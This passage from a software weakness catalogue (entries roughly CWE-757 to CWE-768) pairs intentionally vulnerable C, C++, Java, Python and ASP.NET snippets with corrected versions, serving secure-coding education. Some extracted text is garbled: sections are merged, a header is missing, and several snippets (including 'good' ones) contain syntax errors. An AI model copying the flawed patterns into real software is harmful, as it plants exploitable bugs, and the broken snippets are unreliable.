In the following Java example the method `readFromFile` uses a `FileReader` object to read the contents of a file. The `FileReader` object is created using the `File` object `readFile`, the `readFile` object is initialized using the `setInputFile` method. The `setInputFile` method should be called before calling the `readFromFile` method.

Example Language: Java

(bad)

```

private File readFile = null;
public void setInputFile(String inputFile) {
    // create readFile File object from string containing name of file
}
public void readFromFile() {
    try {
        reader = new FileReader(readFile);
        // read input file
    } catch (FileNotFoundException ex) {...}
}

```

However, the `readFromFile` method does not check to see if the `readFile` object is null, i.e. has not been initialized, before creating the `FileReader` object and reading from the input file. The `readFromFile` method should verify whether the `readFile` object is null and output an error message and raise an exception if the `readFile` object is null, as in the following code.

Example Language: Java

(good)

```

private File readFile = null;
public void setInputFile(String inputFile) {
    // create readFile File object from string containing name of file
}
public void readFromFile() {

```

```

try {
    if (readFile == null) {
        System.err.println("Input file has not been set, call setInputFile method before calling openInputFile");
        throw NullPointerException;
    }
    reader = new FileReader(readFile);
    // read input file
} catch (FileNotFoundException ex) {...}
catch (NullPointerException ex) {...}
}

```

## Notes

### Relationship

Sometimes, when a return value can be used to indicate an error, an unchecked return value is a code-layer instance of a missing application-layer check for exceptional conditions. However, return values are not always needed to communicate exceptional conditions. For example, expiration of resources, values passed by reference, asynchronously modified data, sockets, etc. may indicate exceptional conditions without the use of a return value.

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data  <i>Attackers can leverage the additional information provided by a default error page to mount attacks targeted on the framework, database, or other resources used by the application.</i>	

### Demonstrative Examples

#### Example 1:

In the snippet below, an unchecked runtime exception thrown from within the try block may cause the container to display its default error page (which may contain a full stack trace, among other things).

Example Language: Java

(bad)

```
Public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    try {
        ...
    } catch (ApplicationSpecificException ase) {
        logger.error("Caught: " + ase.toString());
    }
}
```

#### Example 2:

The mode attribute of the <customErrors> tag in the Web.config file defines whether custom or default error pages are used.

In the following insecure ASP.NET application setting, custom error message mode is turned off. An ASP.NET error message with detailed stack trace and platform versions will be returned.

Example Language: ASP.NET

(bad)

```
<customErrors mode="Off" />
```

A more secure setting is to set the custom error message mode for remote users only. No defaultRedirect error page is specified. The local user on the web server will see a detailed stack trace. For remote users, an ASP.NET error message with the server customError configuration setting and the platform version will be returned.

Example Language: ASP.NET

(good)

```
<customErrors mode="RemoteOnly" />
```

Another secure option is to set the mode attribute of the <customErrors> tag to use a custom page as follows:

Example Language: ASP.NET

(good)

```
<customErrors mode="On" defaultRedirect="YourErrorPage.htm" />
```

## CWE-757: Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade')

<b>Weakness ID</b> : 757	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

A protocol or its implementation supports interaction between multiple actors and allows those actors to negotiate which algorithm should be used as a protection mechanism such as encryption or authentication, but it does not select the strongest algorithm that is available to both parties.

### Extended Description

When a security mechanism can be forced to downgrade to use a less secure algorithm, this can make it easier for attackers to compromise the software by exploiting weaker algorithm. The victim might not be aware that the less secure algorithm is being used. For example, if an attacker can force a communications channel to use cleartext instead of strongly-encrypted data, then the attacker could read the channel by sniffing, instead of going through extra effort of trying to decrypt the data using brute force techniques.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. ## CWE-758: Reliance on Undefined, Unspecified, or Implementation-Defined Behavior

<b>Weakness ID</b> : 758	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Class	

### Description

The software uses an API function, data structure, or other entity in a way that relies on properties that are not always guaranteed to hold for that entity.

### Extended Description

This can lead to resultant weaknesses when the required properties change, such as when the software is ported to a different platform or if an interaction error (CWE-435) occurs.

## CWE-759: Use of a One-Way Hash without a Salt

**Weakness ID :** 759

**Status:** Incomplete

**Structure :** Simple

**Abstraction :** Variant

### Description

The software uses a one-way cryptographic hash against an input that should not be reversible, such as a password, but the software does not also use a salt as part of the input.

### Extended Description

This makes it easier for attackers to pre-compute the hash value using dictionary attack techniques such as rainbow tables.

It should be noted that, despite common perceptions, the use of a good salt with a hash does not sufficiently increase the effort for an attacker who is targeting an individual password, or who has a large amount of computing resources available, such as with cloud-based services or specialized, inexpensive hardware. Offline password cracking can still be effective if the hash function is not expensive to compute; many cryptographic functions are designed to be efficient and can be vulnerable to attacks using massive computing resources, even if the hash is cryptographically strong. The use of a salt only slightly increases the computing requirements for an attacker compared to other strategies such as adaptive hash functions. See CWE-916 for more details.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Potential Mitigations

**Phase: Architecture and Design**

Use an adaptive hash function that can be configured to change the amount of computational effort needed to compute the hash, such as the number of iterations ("stretching") or the amount of memory required. Some hash functions perform salting automatically. These functions can significantly increase the overhead for a brute force attack compared to intentionally-fast functions such as MD5. For example, rainbow table attacks can become infeasible due to the high computing overhead. Finally, since computing power gets faster and cheaper over time, the technique can be reconfigured to increase the workload without forcing an entire replacement of the algorithm in use. Some hash functions that have one or more of these desired properties include bcrypt [REF-291], scrypt [REF-292], and PBKDF2 [REF-293]. While there is active debate about which of these is the most effective, they are all stronger than using salts with hash functions with very little computing overhead. Note that using these functions can have an impact on performance, so they require special consideration to avoid denial-of-service attacks. However, their configurability provides finer control over how much CPU and memory is used, so it could be adjusted to suit the environment's needs.

*Effectiveness = High*

### Phase: Architecture and Design

If a technique that requires extra computational effort can not be implemented, then for each password that is processed, generate a new random salt using a strong random number generator with unpredictable seeds. Add the salt to the plaintext password before hashing it. When storing the hash, also store the salt. Do not use the same salt for every password.

*Effectiveness = Limited*

*Be aware that salts will not reduce the workload of a targeted attack against an individual hash (such as the password for a critical person), and in general they are less effective than other hashing techniques such as increasing the computation time or memory overhead. Without a built-in workload, modern attacks can compute large numbers of hashes, or even exhaust the entire space of all possible passwords, within a very short amount of time, using massively-parallel computing and GPU, ASIC, or FPGA hardware.*

### Phase: Implementation

#### Phase: Architecture and Design

When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.

### Demonstrative Examples

#### Example 1:

In both of these examples, a user is logged in if their given password matches a stored password:

*Example Language: C*

*(bad)*

```
unsigned char *check_passwd(char *plaintext) {
    ctext = simple_digest("sha1",plaintext,strlen(plaintext), ... );
    //Login if hash matches stored hash
    if (equal(ctext, secret_password())) {
        login_user();
    }
}
```

*Example Language: Java*

*(bad)*

```
String plainText = new String(plainTextIn);
MessageDigest encer = MessageDigest.getInstance("SHA");
encer.update(plainTextIn);
byte[] digest = password.digest();
//Login if hash matches stored hash
if (equal(digest,secret_password())) {
```

```
login_user();
}
```

This code relies exclusively on a password mechanism (CWE-309) using only one factor of authentication (CWE-308). If an attacker can steal or guess a user's password, they are given full access to their account. Note this code also uses SHA-1, which is a weak hash (CWE-328). It also does not use a salt (CWE-759).

### Example 2:

In this example, a new user provides a new username and password to create an account. The program hashes the new user's password then stores it in a database.

Example Language: Python

(bad)

```
def storePassword(userName,Password):
    hasher = hashlib.new('md5')
    hasher.update>Password)
    hashedPassword = hasher.digest()
    # UpdateUserLogin returns True on success, False otherwise
    return updateUserLogin(userName,hashedPassword)
```

While it is good to avoid storing a cleartext password, the program does not provide a salt to the hashing function, thus increasing the chances of an attacker being able to reverse the hash and discover the original password if the database is compromised.

Fixing this is as simple as providing a salt to the hashing function on initialization:

Example Language: Python

(good)

```
def storePassword(userName,Password):
    hasher = hashlib.new('md5',b'SaltGoesHere')
    hasher.update>Password)
    hashedPassword = hasher.digest()
    # UpdateUserLogin returns True on success, False otherwise
    return updateUserLogin(userName,hashedPassword)
```

Note that regardless of the usage of a salt, the md5 hash is no longer considered secure, so this example still exhibits CWE-327.

## CWE-760: Use of a One-Way Hash with a Predictable Salt

**Weakness ID** : 760

**Status**: Incomplete

**Structure** : Simple

### Description

The software uses a one-way cryptographic hash against an input that should not be reversible, such as a password, but the software uses a predictable salt as part of the input.

### Extended Description

This makes it easier for attackers to pre-compute the hash value using dictionary attack techniques such as rainbow tables, effectively disabling the protection that an unpredictable salt would provide.

## CWE-761: Free of Pointer not at Start of Buffer

**Weakness ID** : 761

**Status**: Incomplete

**Structure** : Simple

**Abstraction** : Variant

### Description

The application calls free() on a pointer to a memory resource that was allocated on the heap, but the pointer is not at the start of the buffer.

### Extended Description

This can cause the application to crash, or in some cases, modify critical program variables or execute code.

This weakness often occurs when the memory is allocated explicitly on the heap with one of the malloc() family functions and free() is called, but pointer arithmetic has caused the pointer to be in the interior or end of the buffer.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "CISQ Data Protection Measures" (CWE-1340)*

ChildOf		404	Improper Resource Shutdown or Release	890

### Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Memory	
Availability	DoS: Crash, Exit, or Restart	
Confidentiality	Execute Unauthorized Code or Commands	

## Potential Mitigations

### Phase: Implementation

When utilizing pointer arithmetic to traverse a buffer, use a separate variable to track progress through memory and preserve the originally allocated address for later freeing.

### Phase: Implementation

When programming in C++, consider using smart pointers provided by the boost library to help correctly and consistently manage memory.

### Phase: Architecture and Design

*Strategy = Libraries or Frameworks*

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, glibc in Linux provides protection against free of invalid pointers.

### Phase: Architecture and Design

Use a language that provides abstractions for memory allocation and deallocation.

### Phase: Testing

Use a tool that dynamically detects memory management problems, such as valgrind.

## Demonstrative Examples

### Example 1:

In this example, the programmer dynamically allocates a buffer to hold a string and then searches for a specific character. After completing the search, the programmer attempts to release the allocated memory and return SUCCESS or FAILURE to the caller. Note: for simplification, this example uses a hard-coded "Search Me!" string and a constant string length of 20.

*Example Language: C*

*(bad)*

```
#define SUCCESS (1)
#define FAILURE (0)
int contains_char(char c){
    char *str;
    str = (char*)malloc(20*sizeof(char));
    strcpy(str, "Search Me!");
    while( *str != NULL){
        if( *str == c){
            /* matched char, free string and return success */
            free(str);
            return SUCCESS;
        }
        /* didn't match yet, increment pointer and try next char */
        str = str + 1;
    }
    /* we did not match the char in the string, free mem and return failure */
    free(str);
    return FAILURE;
}
```

However, if the character is not at the beginning of the string, or if it is not in the string at all, then the pointer will not be at the start of the buffer when the programmer frees it.

Instead of freeing the pointer in the middle of the buffer, the programmer can use an indexing pointer to step through the memory or abstract the memory calculations by using array indexing.

Example Language: C

(good)

```
#define SUCCESS (1)
#define FAILURE (0)
int cointains_char(char c){
    char *str;
    int i = 0;
    str = (char*)malloc(20*sizeof(char));
    strcpy(str, "Search Me!");
    while( i < strlen(str) ){
        if( str[i] == c ){
            /* matched char, free string and return success */
            free(str);
            return SUCCESS;
        }
        /* didn't match yet, increment pointer and try next char */
        i = i + 1;
    }
    /* we did not match the char in the string, free mem and return failure */
    free(str);
    return FAILURE;
}
```

### Example 2:

This code attempts to tokenize a string and place it into an array using the strsep function, which inserts a \0 byte in place of whitespace or a tab character. After finishing the loop, each string in the AP array points to a location within the input string.

Example Language: C

(bad)

```
char **ap, *argv[10], *inputstring;
for (ap = argv; (*ap = strsep(&inputstring, "\t")) != NULL;
    if (**ap != '\0')
        if (++ap >= &argv[10])
            break;
    /.../
    free(ap[4]);
```

Since strsep is not allocating any new memory, freeing an element in the middle of the array is equivalent to free a pointer in the middle of inputstring.

### Example 3:

Consider the following code in the context of a parsing application to extract commands out of user data. The intent is to parse each command and add it to a queue of commands to be executed, discarding each malformed entry.

Example Language: C

(bad)

```
//hardcode input length for simplicity
char* input = (char*) malloc(40*sizeof(char));
char *tok;
char* sep = "\t";
get_user_input( input );
/* The following loop will parse and process each token in the input string */
tok = strtok( input, sep);
while( NULL != tok ){
    if( isMalformed( tok ) ){
        /* ignore and discard bad data */
        free( tok );
    }
    else{
```

```

    add_to_command_queue( tok );
}
tok = strtok( NULL, sep);
}

```

While the above code attempts to free memory associated with bad commands, since the memory was all allocated in one chunk, it must all be freed together.

One way to fix this problem would be to copy the commands into a new memory location before placing them in the queue. Then, after all commands have been processed, the memory can safely be freed.

Example Language: C

(good)

```

//hardcode input length for simplicity
char* input = (char*) malloc(40*sizeof(char));
char *tok, *command;
char* sep = " \t";
get_user_input( input );
/* The following loop will parse and process each token in the input string */
tok = strtok( input, sep);
while( NULL != tok ){
    if( !isMalformed( command ) ){
        /* copy and enqueue good data */
        command = (char*) malloc( (strlen(tok) + 1) * sizeof(char) );
        strcpy( command, tok );
        add_to_command_queue( command );
    }
    tok = strtok( NULL, sep);
}
free( input )

```

## CWE-762: Mismatched Memory Management Routines

**Weakness ID** : 762

**Status**: Incomplete

**Structure** : Simple

**Abstraction** : Variant

### Description

The application attempts to return a memory resource to the system, but it calls a release function that is not compatible with the function that was originally used to allocate that resource.

### Extended Description

This weakness can be generally described as mismatching memory management routines, such as:

- The memory was allocated on the stack (automatically), but it was deallocated using the memory management routine `free()` (CWE-590), which is intended for explicitly allocated heap memory.
- The memory was allocated explicitly using one set of memory management functions, and deallocated using a different set. For example, memory might be allocated with `malloc()` in C++ instead of the `new` operator, and then deallocated with the `delete` operator.

When the memory management functions are mismatched, the consequences may be as severe as code execution, memory corruption, or program crash. Consequences and ease of exploit will vary depending on the implementation of the routines and the object being managed.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as `ChildOf`, `ParentOf`, `MemberOf` and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as `PeerOf` and `CanAlsoBe` are defined to show similar weaknesses that may want to be explored.

Low

### Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Memory	

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart	
Confidentiality	Execute Unauthorized Code or Commands	

## Potential Mitigations

### Phase: Implementation

Only call matching memory management functions. Do not mix and match routines. For example, when you allocate a buffer with `malloc()`, dispose of the original pointer with `free()`.

### Phase: Implementation

*Strategy = Libraries or Frameworks*

Choose a language or tool that provides automatic memory management, or makes manual memory management less error-prone. For example, `glibc` in Linux provides protection against free of invalid pointers. When using Xcode to target OS X or iOS, enable automatic reference counting (ARC) [REF-391]. To help correctly and consistently manage memory when programming in C++, consider using a smart pointer class such as `std::auto_ptr` (defined by ISO/IEC ISO/IEC 14882:2003), `std::shared_ptr` and `std::weak_ptr` (specified by an upcoming revision of the C++ standard, informally referred to as C++ 1x), or equivalent solutions such as Boost.

### Phase: Architecture and Design

*Strategy = Libraries or Frameworks*

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, `glibc` in Linux provides protection against free of invalid pointers.

### Phase: Architecture and Design

Use a language that provides abstractions for memory allocation and deallocation.

### Phase: Testing

Use a tool that dynamically detects memory management problems, such as `valgrind`.

## Demonstrative Examples

### Example 1:

This example allocates a `BarObj` object using the `new` operator in C++, however, the programmer then deallocates the object using `free()`, which may lead to unexpected behavior.

*Example Language: C++*

*(bad)*

```
void foo(){
    BarObj *ptr = new BarObj()
    /* do some work with ptr here */
    ...
    free(ptr);
}
```

Instead, the programmer should have either created the object with one of the `malloc` family functions, or else deleted the object with the `delete` operator.

*Example Language: C++*

*(good)*

```
void foo(){
    BarObj *ptr = new BarObj()
    /* do some work with ptr here */
    ...
    delete ptr;
}
```

### Example 2:

In this example, the program does not use matching functions such as malloc/free, new/delete, and new[]/delete[] to allocate/deallocate the resource.

*Example Language: C++*

*(bad)*

```
class A {
    void foo();
};
void A::foo(){
    int *ptr;
    ptr = (int*)malloc(sizeof(int));
    delete ptr;
}
```

### Example 3:

In this example, the program calls the delete[] function on non-heap memory.

*Example Language: C++*

*(bad)*

```
class A{
    void foo(bool);
};
void A::foo(bool heap) {
    int localArray[2] = {
        11,22
    };
    int *p = localArray;
    if (heap){
        p = new int[2];
    }
    delete[] p;
}
```

## CWE-763: Release of Invalid Pointer or Reference

**Weakness ID :** 763

**Status:** Incomplete

**Structure :** Simple

**Abstraction :** Base

### Description

The application attempts to return a memory resource to the system, but calls the wrong release function or calls the appropriate release function incorrectly.

### Extended Description

This weakness can take several forms, such as:

- The memory was allocated, explicitly or implicitly, via one memory management method and deallocated using a different, non-compatible function (CWE-762).
- The function calls or memory management routines chosen are appropriate, however they are used incorrectly, such as in CWE-761.

These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. <p><i>This weakness may result in the corruption of memory, and perhaps instructions, possibly leading to a crash. If the corrupted memory can be effectively controlled, it may be possible to execute arbitrary code.</i></p>		

## Potential Mitigations

### Phase: Implementation

Only call matching memory management functions. Do not mix and match routines. For example, when you allocate a buffer with `malloc()`, dispose of the original pointer with `free()`.

### Phase: Implementation

When programming in C++, consider using smart pointers provided by the boost library to help correctly and consistently manage memory.

### Phase: Architecture and Design

*Strategy = Libraries or Frameworks*

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, `glibc` in Linux provides protection against free of invalid pointers.

### Phase: Architecture and Design

Use a language that provides abstractions for memory allocation and deallocation.

### Phase: Testing

Use a tool that dynamically detects memory management problems, such as `valgrind`.

## Demonstrative Examples

### Example 1:

This code attempts to tokenize a string and place it into an array using the `strsep` function, which inserts a `\0` byte in place of whitespace or a tab character. After finishing the loop, each string in the AP array points to a location within the input string.

Example Language: C

(bad)

```
char **ap, *argv[10], *inputstring;
for (ap = argv; (*ap = strsep(&inputstring, " \t")) != NULL;)
    if (**ap != '\0')
        if (++ap >= &argv[10])
            break;
/.../
free(ap[4]);
```

Since `strsep` is not allocating any new memory, freeing an element in the middle of the array is equivalent to free a pointer in the middle of `inputstring`.

### Example 2:

This example allocates a `BarObj` object using the `new` operator in C++, however, the programmer then deallocates the object using `free()`, which may lead to unexpected behavior.

Example Language: C++

(bad)

```
void foo(){
    BarObj *ptr = new BarObj()
```

```

/* do some work with ptr here */
...
free(ptr);
}

```

Instead, the programmer should have either created the object with one of the malloc family functions, or else deleted the object with the delete operator.

Example Language: C++

(good)

```

void foo(){
    BarObj *ptr = new BarObj()
    /* do some work with ptr here */
    ...
    delete ptr;
}

```

### Example 3:

In this example, the programmer dynamically allocates a buffer to hold a string and then searches for a specific character. After completing the search, the programmer attempts to release the allocated memory and return SUCCESS or FAILURE to the caller. Note: for simplification, this example uses a hard-coded "Search Me!" string and a constant string length of 20.

Example Language: C

(bad)

```

#define SUCCESS (1)
#define FAILURE (0)
int contains_char(char c){
    char *str;
    str = (char*)malloc(20*sizeof(char));
    strcpy(str, "Search Me!");
    while( *str != NULL){
        if( *str == c ){
            /* matched char, free string and return success */
            free(str);
            return SUCCESS;
        }
        /* didn't match yet, increment pointer and try next char */
        str = str + 1;
    }
    /* we did not match the char in the string, free mem and return failure */
    free(str);
    return FAILURE;
}

```

However, if the character is not at the beginning of the string, or if it is not in the string at all, then the pointer will not be at the start of the buffer when the programmer frees it.

Instead of freeing the pointer in the middle of the buffer, the programmer can use an indexing pointer to step through the memory or abstract the memory calculations by using array indexing.

Example Language: C

(good)

```

#define SUCCESS (1)
#define FAILURE (0)
int contains_char(char c){
    char *str;
    int i = 0;
    str = (char*)malloc(20*sizeof(char));
    strcpy(str, "Search Me!");
    while( i < strlen(str) ){
        if( str[i] == c ){
            /* matched char, free string and return success */
            free(str);

```

```

    return SUCCESS;
}
/* didn't match yet, increment pointer and try next char */
i = i + 1;
}
/* we did not match the char in the string, free mem and return failure */
free(str);
return FAILURE;
}

```

**Example 4:**

Consider the following code in the context of a parsing application to extract commands out of user data. The intent is to parse each command and add it to a queue of commands to be executed, discarding each malformed entry.

Example Language: C

(bad)

```

//hardcode input length for simplicity
char* input = (char*) malloc(40*sizeof(char));
char *tok;
char* sep = " \\t";
get_user_input( input );
/* The following loop will parse and process each token in the input string */
tok = strtok( input, sep);
while( NULL != tok ){
    if( isMalformed( tok ) ){
        /* ignore and discard bad data */
        free( tok );
    }
    else{
        add_to_command_queue( tok );
    }
    tok = strtok( NULL, sep);
}

```

While the above code attempts to free memory associated with bad commands, since the memory was all allocated in one chunk, it must all be freed together.

One way to fix this problem would be to copy the commands into a new memory location before placing them in the queue. Then, after all commands have been processed, the memory can safely be freed.

Example Language: C

(good)

```

//hardcode input length for simplicity
char* input = (char*) malloc(40*sizeof(char));
char *tok, *command;
char* sep = " \\t";
get_user_input( input );
/* The following loop will parse and process each token in the input string */
tok = strtok( input, sep);
while( NULL != tok ){
    if( !isMalformed( command ) ){
        /* copy and enqueue good data */
        command = (char*) malloc( (strlen(tok) + 1) * sizeof(char) );
        strcpy( command, tok );
        add_to_command_queue( command );
    }
    tok = strtok( NULL, sep);
}
free( input )

```

### Maintenance

The view-1000 subtree that is associated with this weakness needs additional work. Several entries will likely be created in this branch. Currently the focus is on free() of memory, but delete and other related release routines may require the creation of intermediate entries that are not specific to a particular function. In addition, the role of other types of invalid pointers, such as an expired pointer, i.e. CWE-415 Double Free and release of uninitialized pointers, related to CWE-457.

## CWE-764: Multiple Locks of a Critical Resource

**Weakness ID** : 764

**Status**: Incomplete

**Structure** : Simple

**Abstraction** : Base

## Description

The software locks a critical resource more times than intended, leading to an unexpected state in the system.

## Extended Description

When software is operating in a concurrent environment and repeatedly locks a critical resource, the consequences will vary based on the type of lock, the lock's implementation, and the resource being protected. In some situations such as with semaphores, the resources are pooled and extra locking calls will reduce the size of the total available pool, possibly leading to degraded performance or a denial of service. If this can be triggered by an attacker, it will be similar to an unrestricted lock (CWE-412). In the context of a binary lock, it is likely that any duplicate locking attempts will never succeed since the lock is already held and progress may not be possible.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU)	
Integrity	DoS: Crash, Exit, or Restart Unexpected State	

### Potential Mitigations

#### Phase: Implementation

When locking and unlocking a resource, try to be sure that all control paths through the code in which the resource is locked one or more times correspond to exactly as many unlocks. If the software acquires a lock and then determines it is not able to perform its intended behavior, be sure to release the lock(s) before waiting for conditions to improve. Reacquire the lock(s) before trying again.

### Notes

#### Maintenance

An alternate way to think about this weakness is as an imbalance between the number of locks / unlocks in the control flow. Over the course of execution, if each lock call is not followed by a subsequent call to unlock in a reasonable amount of time, then system performance may be degraded or at least operating at less than peak levels if there is competition for the locks. This entry may need to be modified to reflect these concepts in the future.

## CWE-765: Multiple Unlocks of a Critical Resource

Weakness ID : 765

Status: Incomplete

Structure : Simple

**Abstraction** : Base

**Description**

The software unlocks a critical resource more times than intended, leading to an unexpected state in the system.

**Extended Description**

When software is operating in a concurrent environment and repeatedly unlocks a critical resource, the consequences will vary based on the type of lock, the lock's implementation, and the resource being protected. In some situations such as with semaphores, the resources are pooled and extra calls to unlock will increase the count for the number of available resources, likely resulting in a crash or unpredictable behavior when the system nears capacity.

**Weakness ID** : 766**Status**: Incomplete**Structure** : Simple**Abstraction** : Variant

### Description

The software declares a critical variable, field, or member to be public when intended security policy requires it to be private.

### Extended Description

	<i>Making a critical variable public allows anyone with access to the object in which the variable is contained to alter or read the value.</i>	
Other	Reduce Maintainability	

## Potential Mitigations

### Phase: Implementation

Data should be private, static, and final whenever possible. This will assure that your code is protected by instantiating early, preventing access, and preventing tampering.

## Demonstrative Examples

### Example 1:

The following example declares a critical variable public, making it accessible to anyone with access to the object in which it is contained.

*Example Language: C++*

*(bad)*

```
public: char* password;
```

Instead, the critical data should be declared private.

*Example Language: C++*

*(good)*

```
private: char* password;
```

Even though this example declares the password to be private, there are other possible issues with this implementation, such as the possibility of recovering the password from process memory (CWE-257).

### Example 2:

The following example shows a basic user account class that includes member variables for the username and password as well as a public constructor for the class and a public method to authorize access to the user account.

*Example Language: C++*

*(bad)*

```
#define MAX_PASSWORD_LENGTH 15
#define MAX_USERNAME_LENGTH 15
class UserAccount
{
public:
    UserAccount(char *username, char *password)
    {
        if ((strlen(username) > MAX_USERNAME_LENGTH) ||
            (strlen(password) > MAX_PASSWORD_LENGTH)) {
            ExitError("Invalid username or password");
        }
        strcpy(this->username, username);
        strcpy(this->password, password);
    }
    int authorizeAccess(char *username, char *password)
    {
        if ((strlen(username) > MAX_USERNAME_LENGTH) ||
            (strlen(password) > MAX_PASSWORD_LENGTH)) {
            ExitError("Invalid username or password");
        }
    }
    // if the username and password in the input parameters are equal to
```

```

// the username and password of this account class then authorize access
if (strcmp(this->username, username) ||
    strcmp(this->password, password))
    return 0;
// otherwise do not authorize access
else
    return 1;
}
char username[MAX_USERNAME_LENGTH+1];
char password[MAX_PASSWORD_LENGTH+1];
};

```

However, the member variables `username` and `password` are declared public and therefore will allow access and changes to the member variables to anyone with access to the object. These member variables should be declared private as shown below to prevent unauthorized access and changes.

Example Language: C++

(good)

```

class UserAccount
{
public:
    ...
private:
    char username[MAX_USERNAME_LENGTH+1];
    char password[MAX_PASSWORD_LENGTH+1];
};

```

## CWE-767: Access to Critical Private Variable via Public Method

<b>Weakness ID</b> : 767	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

The software defines a public method that reads or modifies a private variable.

### Extended Description

If an attacker modifies the variable to contain unexpected values, this could violate assumptions from other parts of the code. Additionally, if an attacker can read the private variable, it may expose sensitive information or make it easier to launch further attacks.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Applicable Platforms

**Language** : C++ (Prevalence = Undetermined)

**Language** : C# (Prevalence = Undetermined)

**Language** : Java (Prevalence = Undetermined)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	
Other	Other	

### Potential Mitigations

#### Phase: Implementation

Use class accessor and mutator methods appropriately. Perform validation when accepting data from a public method that is intended to modify a critical private variable. Also be sure that appropriate access controls are being applied when a public method interfaces with critical data.

### Demonstrative Examples

#### Example 1:

The following example declares a critical variable to be private, and then allows the variable to be modified by public methods.

Example Language: C++

(bad)

```
private: float price;
public: void changePrice(float newPrice) {
    price = newPrice;
}
```

### Example 2:

The following example could be used to implement a user forum where a single user (UID) can switch between multiple profiles (PID).

Example Language: Java

(bad)

```
public class Client {
    private int UID;
    public int PID;
    private String userName;
    public Client(String userName){
        PID = getDefaultProfileID();
        UID = mapUserNameToUID( userName );
        this.userName = userName;
    }
    public void setPID(int ID) {
        UID = ID;
    }
}
```

The programmer implemented setPID with the intention of modifying the PID variable, but due to a typo, accidentally specified the critical variable UID instead. If the program allows profile IDs to be between 1 and 10, but a UID of 1 means the user is treated as an admin, then a user could gain administrative privileges as a result of this typo.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

### Notes

#### Maintenance

This entry is closely associated with access control for public methods. If the public methods are restricted with proper access controls, then the information in the private variable will not be exposed to unexpected parties. There may be chaining or composite relationships between improper access controls and this weakness.

## CWE-768: Incorrect Short Circuit Evaluation

**Weakness ID :** 768 **Status:** Incomplete  
**Structure :** Simple  
**Abstraction :** Variant

### Description

The software contains a conditional statement with multiple logical expressions in which one of the non-leading expressions may produce side effects. This may lead to an unexpected state in the program after the execution of the conditional, because short-circuiting logic may prevent the side effects from occurring.

### Extended Description

Usage of short circuit evaluation, though well-defined in the C standard, may alter control flow in a way that introduces logic errors that are difficult to detect, possibly causing errors later during the software's execution. If an attacker can discover such an inconsistency, it may be exploitable to gain arbitrary control over a system.

If the first condition of an "or" statement is assumed to be true under normal circumstances, or if the first condition of an "and" statement is assumed to be false, then any subsequent conditional may contain its own logic errors that are not detected during code review or testing.

Finally, the usage of short circuit evaluation may decrease the maintainability of the code.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. Integrity		
Availability		

### Potential Mitigations

#### Phase: Implementation

Minimizing the number of statements in a conditional that produce side effects will help to prevent the likelihood of short circuit evaluation to alter control flow in an unexpected way.

### Demonstrative Examples

#### Example 1:

The following function attempts to take a size value from a user and allocate an array of that size (we ignore bounds checking for simplicity). The function tries to initialize each spot with the value of its index, that is,  $A[\text{len}-1] = \text{len} - 1$ ;  $A[\text{len}-2] = \text{len} - 2$ ; ...  $A[1] = 1$ ;  $A[0] = 0$ ; However, since the programmer uses the prefix decrement operator, when the conditional is evaluated with  $i == 1$ , the decrement will result in a 0 value for the first part of the predicate, causing the second portion to be

bypassed via short-circuit evaluation. This means we cannot be sure of what value will be in A[0] when we return the array to the user.

Example Language: C

(bad)

```
#define PRIV_ADMIN 0
#define PRIV_REGULAR 1
typedef struct{
    int privileges;
    int id;
} user_t;
user_t *Add_Regular_Users(int num_users){
    user_t* users = (user_t*)calloc(num_users, sizeof(user_t));
    int i = num_users;
    while( --i && (users[i].privileges = PRIV_REGULAR) ){
        users[i].id = i;
    }
    return users;
}
int main(){
    user_t* test;
    int i;
    test = Add_Regular_Users(25);
    for(i = 0; i < 25; i++) printf("user %d has privilege level %d\n", test[i].id, test[i].privileges);
}
```

